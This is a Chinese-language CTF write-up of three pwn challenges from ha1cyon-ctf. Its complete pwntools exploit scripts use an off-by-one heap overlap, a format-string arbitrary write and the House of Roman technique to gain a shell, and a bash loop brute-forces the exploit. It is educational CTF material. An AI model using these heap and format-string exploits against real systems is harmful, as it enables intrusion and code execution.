ha1cyon-ctf
菜鸡渣渣不会内核,只做了三道题目,还混了个送分题,tnl,萌新劝退赛,大佬们ttttttql!
感谢西工大这次公开赛~ 从题目里学到了不少。
pwn
easyheap
分析程序,主要有create()\edit()\show()\delete()
几个函数,分析create()函数:
限制我们只能申请0x18和0x38大小的chunk块,同时构造的结构如下:
属于典型的堆块结构中存在指针的结构,容易想到可以利用这种指针结构覆盖成目标地址(如free函数的got表地址),从而进行泄露和改写。delete()函数中不存在UAF漏洞,但是仔细看edit()函数可以发现off by one漏洞:
结合我们之前申请的0x18和0x38的chunk块,可以构造重叠的堆块。这里有个小的思维限制,就是每次我们申请的堆块都有两个,容易误解成物理相邻,但是只要我们一开始释放掉一些0x20大小的堆块,这样我们就能申请到两个物理相邻的content的chunk了,再利用edit函数中的off by one漏洞,就可以得到重叠的堆块,具体的结构如下:
exp如下:
from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')
local=0
binary_name='h3-pwn'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('ha1cyon-ctf.fun',30082)
e=ELF("./"+binary_name)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
def add(size,content='a'):
sla("Your choice :",'1')
sla("Size of Heap(0x10 or 0x20 only) : ",str(size))
sla("Content:",content)
def edit(idx,content):
sla("Your choice :",'2')
sla("Index :",str(idx))
sla("Content: ",content)
def show(idx):
sla("Your choice :",'3')
sla("Index :",str(idx))
def dele(idx):
sla("Your choice :",'4')
sla("Index :",str(idx))
#z('b *0x400924\nb *0x4009E7\nb *0x400B98\nb *0x400CAC\nb *0x400D81\nb *0x400DA1\n')
add(0x18)#0
dele(0)
add(0x38)#0
add(0x18)#1
add(0x18)#2
add(0x18,'/bin/sh')#3
pd='a'*0x30+p64(0)+'\x41'
edit(0,pd)
dele(1)
add(0x38)#1
pd='a'*0x10+p64(0)+p64(0x20)+p64(0x18)+p64(e.got['free'])
edit(1,pd)
show(2)
ru("Content : ")
leak_addr=leak_address()
print hex(leak_addr)
sys_addr=leak_addr-libc.sym['free']+libc.sym['system']
pd=p64(sys_addr)
edit(2,pd)
dele(3)
p.interactive()
level2
整个程序只有一个可以循环利用的格式化字符串漏洞,一般来说,如果我们输入的格式化字符串在栈上,那么我们可以通过向格式化字符串所在位置这样一个偏移处写入任意值,从而实现任意地址写。但是这道题buf不在栈上,而是在bss段上(有时在堆上也是基本一样的利用),实现任意写需要依赖一个链表结构,
我们先在printf(buf)
处下断点查看一下:
可以看到我们通过输出栈偏移量为1的地址中的内容就可以泄露libc地址,即可得到one_gadget的实际地址,接下来我们想要通过向主函数的返回地址处写入one_gadget,以在函数退出的时候getshell。这里利用的方式是借助上图的链表结构,先向栈偏移量为3的地址中的指针中(这里是0x7fffffffdee8)写入我们希望写入的目标地址(即主函数的ret_addr),然后在栈中找到0x7fffffffdee8地址的偏移量,这里是232/8=29,向该栈偏移量中的地址中的指针中继续写入我们期望覆盖ret_addr值的内容,也即one_gadget的地址。这里我们看到:
栈底指针和栈顶指针相同,那么主函数的返回地址就是rbp的下一个地址,这里就是0x7fffffffde08,由于虽然栈基址在不断变化,但是栈上的偏移量是固定的,我们可以通过泄露栈上的内容(这里选取了栈偏移为3的地址中的内容)再减去固定偏移量(这里是0x7fffffffdee8-0x7fffffffde08=0xe0),就可以得到我们的返回地址,第一次写入后我们可以看到符合预期:
这里有两个注意点:
- 这道题目是64位下的,所以我们利用的偏移量在栈偏移量的基础上需要再加上6(64位的前六个参数通过寄存器传递)
- 每次只能够写入两个字节
exp如下:
from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')
local=1
binary_name='h2-pwn'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('ha1cyon-ctf.fun',30252)
e=ELF("./"+binary_name)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
#z('b *0x55555555481f\n')
def myprint(offset):
pd="%"+str(offset)+"$p"
pd=pd.ljust(0x64,'\x00')
sd(pd)
ru("0x")
data=int(p.recv(12),16)
return data
def Write2Byte(data,offset):
global ret_addr
_offset = (ret_addr + offset) % 0x10000
if(data == 0):
pd="%." + str(_offset) + "d%9$hn"
pd=pd.ljust(0x64,'\x00')
sd(pd)
p.recv()
pd="%35$hn"
pd=pd.ljust(0x64,'\x00')
sd(pd)
p.recv()
else:
pd="%." + str(_offset) + "d%9$hn"
pd=pd.ljust(0x64,'\x00')
sd(pd)
p.recv()
pd="%." + str(data) + "d%35$hn"
pd=pd.ljust(0x64,'\x00')
sd(pd)
p.recv()
def Write8Byte(data,offset):
_offset = offset
Write2Byte(int(data[10:14],16),_offset)
Write2Byte(int(data[6:10],16),_offset+2)
Write2Byte(int(data[2:6],16),_offset+4)
Write2Byte(0,_offset+6)
return _offset + 8
offset=0
libc_base=myprint(7)-231-libc.sym['__libc_start_main']
log.info("libc_base:"+hex(libc_base))
ret_addr=myprint(9)-0xe0
log.info("ret_addr:"+hex(ret_addr))
one_gadget=libc_base+0x4f2c5
offset=Write8Byte(str(hex(one_gadget)),offset)
print str(hex(one_gadget))
print str(hex(one_gadget))[10:14]
pd='66666666\x00'
sl(pd)
p.interactive()
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
Bad Guy
这道题我用了House of Roman,以下是我的一丢丢学习笔记:
ctf wiki中介绍House of Roman是fastbin attack与unsortbin attack结合的一个trick,所以我们的前置知识就是需要先简单了解一下这两种攻击方式。
一般来说,在堆上我们需要通过泄露地址并劫持程序流的方式来进行getshell,这样便依赖程序中有类似show()函数,或者能够通过漏洞攻击泄露地址。而House of Roman技术可以用来应对没有show()函数的情况,House of Roman可以在开启了ALSR地址随机化的情况下,通过爆破12bit的方式来进行getshell,爆破概率为1/4096,非常不建议,可以采取后续的IO_File相关知识进行爆破。
条件:
- 程序中存在UAF或者能够达到修改fastbin的fd指针效果的漏洞
- 可以申请任意大小的chunk块
我们先看一下House of Roman的作者提供的demo:
分析程序,可以看到有malloc()\free()\write()
几个功能,但是没有类似show的函数供我们泄露地址,分析malloc()
函数,可以申请任意大小的chunk,write()
函数中有一个off by one漏洞:
分析free()
,没有在释放chunk后把指针置成NULL,存在UAF漏洞。
下面是我在原作者给出的exp的基础上按照理解进行一些修改后的脚本:
from pwn import *
context(log_level='debug',arch='amd64')
p = process("./new_chall")
elf=ELF("./new_chall")
libc=elf.libc
def menu():
p.recvuntil("3. Free")
def create(size,idx):
menu()
p.sendline("1")
p.recvuntil("Enter size of chunk :")
p.sendline(str(size))
p.recvuntil("Enter index :")
p.sendline(str(idx))
def free(idx):
menu()
p.sendline("3")
p.recvuntil("\nEnter index :")
p.sendline(str(idx))
def edit(idx,data):
menu()
p.sendline("2")
p.recvuntil("\nEnter index of chunk :")
p.sendline(str(idx))
p.recvuntil("Enter data :")
p.send(data)
name = "A"*20
p.recvuntil("Enter name :")
p.sendline(name)
create(0x18,0)
create(0xc0,1)
create(0x60,2)
create(0x60,3)
create(0x60,4)
#info("create 2 chunk, 0x20, 0xd0")
free(1)
create(0xc0,1)
#info("1")
free(2)
free(3)
#info("2")
over = "A"*0x18 # off by one
over += "\x71" # set chunk 1's size --> 0x71
edit(0,over)
heap_po = "\x20"
edit(3,heap_po)
#info("3")
libc_base=0xa0d000
# malloc_hook
malloc_hook_nearly = libc_base+libc.sym['__malloc_hook']-0x23
edit(1,p64(malloc_hook_nearly)[:2])
#info("4")
create(0x60,0)
create(0x60,0)
create(0x60,0)
#info("5")
create(0xc0,1)
create(0x10,2)
free(1)
malloc_hook_chunk=libc_base+libc.sym['__malloc_hook']-0x10
po = "B"*8
po += p64(malloc_hook_chunk)[:2]
edit(1,po)
create(0xc0,1)
#info("6")
one_gadget=libc_base+0xf02a4
over = "R"*0x13 # padding for malloc_hook
over += p64(one_gadget)[:3]
edit(0,over)
#info("malloc_hook to one_gadget")
#gdb.attach(p)
free(4)
free(4)
p.recvuntil("double free or corruption")
p.sendline("\n")
sleep(0.2)
p.sendline("uname -a")
data = p.recvuntil("GNU/Linux", timeout=2)
if "Linux" in data:
p.interactive()
else:
exit(0)
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
我们分步看一下这种攻击方式的流程,简单来说就是先fastbin attack后unsort attack:
第一步,利用UAF漏洞,进行fastbin dup 攻击,先得到一个fd指针为main_arena的chunk块,由于我们的main_arena+88的地址与malloc_hook的地址偏移量相差不大,我们只需修改后2个字节就可以把其fd指针修改成malloc_hook之前的合适地址(以满足fastbin的size检查),随后将其链入fastbin[0x70]中:(需要注意此时fastbin[0x70]中的链表结构已经被破坏,后续如果仍需要申请其中的chunk必须先修复该list)
create(0x18,0)
create(0xc0,1)
create(0x60,2)
create(0x60,3)
create(0x60,4)#防止释放chunk2和3时,其与top chunk合并
free(1)
create(0xc0,1)#此时申请到的chunk 1中的内容是main_arena+88
free(2)
free(3)
#此时fastbin[0x70]中有两个chunk
over = "A"*0x18 # off by one
over += "\x71" # set chunk 1's size --> 0x71
edit(0,over)
#修改chunk3的fd指针,使其指向我们伪造好size的chunk1
heap_po = "\x20"
edit(3,heap_po)
#随机爆破libc的12bit
libc_base=0xa0d000
#修改chunk1中的main_arena的后16bit,将其修改成当前指定的随机基址下的malloc_hook地址
malloc_hook_nearly = libc_base+libc.sym['__malloc_hook']-0x23
edit(1,p64(malloc_hook_nearly)[:2])
#info("4")
create(0x60,0)
create(0x60,0)
create(0x60,0)
第二步,构造unsort attack,释放chunk1后其fd和bk都指向main_arena+88,所以我们想把main_arena+88写入malloc_hook(我们的target)中,就需要构造其bk为target-0x10的地址,此时和上面一样只需要修改main_arena+88地址的后两个字节就可以:
create(0xc0,1)
create(0x10,2)
free(1)
malloc_hook_chunk=libc_base+libc.sym['__malloc_hook']-0x10
po = "B"*8
po += p64(malloc_hook_chunk)[:2]
edit(1,po)#修改bk指针
create(0xc0,1)#触发unsortbin attack
最后,把当前随机地址下的one_gadget写入上面已经申请到malloc_hook前面地址处的chunk中,之后我尝试再次malloc,但是无法getshell,程序会崩溃,看来只能采用原作者的方式:通过故意构造double free,触发malloc_printerr
,即可getshell:
one_gadget=libc_base+0xf02a4
over = "R"*0x13 # padding for malloc_hook
over += p64(one_gadget)[:3]
edit(0,over)
#info("malloc_hook to one_gadget")
#gdb.attach(p)
free(4)
free(4)
我们在开启了随机地址化的情况下要进行12bit爆破,爆破概率是1/4096,写个sh脚本重复执行:
#!/bin/bash
for i in `seq 1 5000`; do python new_chall.py; done;
但是这种方式在本地需要跑上半小时左右,远程就随缘了,一般来说需要采取后面与IO_FIle相关的方式进行getshell,可以把爆破概率提高到1/16,大大提高了成功率。
然后就是——ha1cyon-ctf--Bad Guy
WP:
分析程序,主要有add()\edit()\delete()几个函数,没有可供泄露的show函数,继续分析add()函数可以看到允许申请任意大小的chunk,分析edit()函数,看到有一个非常友好的堆溢出,分析delete()函数,发现并没有UAF漏洞。但是这道题目由于存在严重的堆溢出,即使没有UAF漏洞,我们也可以利用堆溢出实现对fastbin中的chunk块的fd指针进行修改,这样就满足了House of Roman攻击的全部条件。
第一步,指定随机的libc_base,我们利用堆溢出漏洞,构造重叠的堆块,达到chunk块同时在fastbin和unsortedbin的效果,这样我们fastbin attack和unsortedbin attack结合利用可以更加简化:
libc_base=0xa0d000
add(0,0x10)
add(1,0x50)
add(2,0x60)
add(3,0x60)
delete(2)#chunk2进入fastbin[0x70]
edit(0,0x20,flat(0,0,0,0xd1))#off by one
delete(1)
add(1,0x50)#chunk2同时在unsorted bin中
# fastbin attack -->修改了chunk2的fd指针为malloc_hook地址附近
edit(1,0x62,'a'*0x40+flat(0,0,0,0x71)+p64(libc_base+libc.sym['__malloc_hook']-0x23)[:2])
add(2,0x60)
add(4,0x60) # 申请到了__malloc_hook附近的chunk
第二步,修改unsorted bin 中的chunk 2的bk指针为target-0x10,触发unsortbin attack,最后向malloc_hook中写入one_gadget,这里我通过再次执行malloc函数,getshell:
edit(1,0x62+8,'a'*0x40+flat(0,0,0,0xf1,0)+p64(libc_base+libc.sym['__malloc_hook']-0x10)[:2])
add(5,0xe0) # unsorted bins
#one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc_base + 0xf1147
edit(4,0x16,'a'*0x13+p64(one_gadget)[:3])
sla(">> ",'1')
sla("Index :",str(6))
sla("size: ",str(0x10))
完整的脚本如下:
from pwn import *
#from LibcSearcher import LibcSearcher
#context(log_level='debug',arch='amd64')
context(arch='amd64')
local=1
binary_name='h1-pwn'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('ha1cyon-ctf.fun',30251)
e=ELF("./"+binary_name)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
def add(idx,size,content=''):
sla(">> ",'1')
sla("Index :",str(idx))
sla("size: ",str(size))
sla("Content:",content)
def delete(idx):
sla(">> ",'3')
sla("Index :",str(idx))
def edit(idx,size,content):
sla(">> ",'2')
sla("Index :",str(idx))
sla("size: ",str(size))
sla("content: ",content)
#z('b *0x555555554cde\nb *0x555555554c5e\nb *0x555555554be0')
libc_base=0xa0d000
add(0,0x10)
add(1,0x50)
add(2,0x60)
add(3,0x60)
delete(2)
edit(0,0x20,flat(0,0,0,0xd1))
delete(1)
add(1,0x50)
# fastbin attack
edit(1,0x62,'a'*0x40+flat(0,0,0,0x71)+p64(libc_base+libc.sym['__malloc_hook']-0x23)[:2])
add(2,0x60)
add(4,0x60) # __malloc_hook
# unsortedbin attack
edit(1,0x62+8,'a'*0x40+flat(0,0,0,0xf1,0)+p64(libc_base+libc.sym['__malloc_hook']-0x10)[:2])
add(5,0xe0) # unsorted bins
#one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc_base + 0xf1147
edit(4,0x16,'a'*0x13+p64(one_gadget)[:3])
sla(">> ",'1')
sla("Index :",str(6))
sla("size: ",str(0x10))
p.sendline("cat flag")
p.sendline("cat flag")
p.sendline("cat flag")
data = p.recvuntil("}", timeout=2)
if "}" in data:
p.interactive()
else:
exit(0)
但实际上,这个脚本打远程的难度很大,我们需要换一种方式泄露地址:
from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')
local=0
binary_name='h1-pwn'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('ha1cyon-ctf.fun',30204)
e=ELF("./"+binary_name)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
def alloc(idx,size,content=''):
sla(">> ",'1')
sla("Index :",str(idx))
sla("size: ",str(size))
sla("Content:",content)
def free(idx):
sla(">> ",'3')
sla("Index :",str(idx))
def edit(idx,size,content):
sla(">> ",'2')
sla("Index :",str(idx))
sla("size: ",str(size))
sla("content: ",content)
#z('b *0x555555554cde\nb *0x555555554c5e\nb *0x555555554be0')
#libc_base=0x7ffff7a0d000
alloc(0,0x10)
print hex(libc.sym['__malloc_hook'])
alloc(1,0x50)
alloc(2,0x60)
alloc(3,0x60)
free(2)
edit(0,0x20,flat(0,0,0,0xd1))
free(1)
alloc(1,0x50)
edit(1,0x62,'a'*0x40+flat(0,0,0,0x71)+p16(0x25dd))
alloc(2,0x60)
alloc(4,0x60)
edit(4,0x54,'a'*0x33+p64(0xfbad2887|0x1000)+p64(0)*3+'\x00')
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stderr_'] - 192
log.success(hex(libc_base))
free(2)
edit(1,0x70,'a'*0x40+flat(0,0,0,0x71)+p64(libc_base+libc.sym['__malloc_hook']-0x23))
print hex(libc_base+libc.sym['__malloc_hook']-0x23)
alloc(5,0x60)
pd='a'*0x13+p64(libc.address+0xf1147)
pd=pd.ljust(0x60,'\x00')
alloc(6,0x60,'a'*0x13+p64(libc_base+0xf1147))
sla(">> ",'1')
sla("Index :",str(7))
sla("size: ",str(0x10))
p.interactive()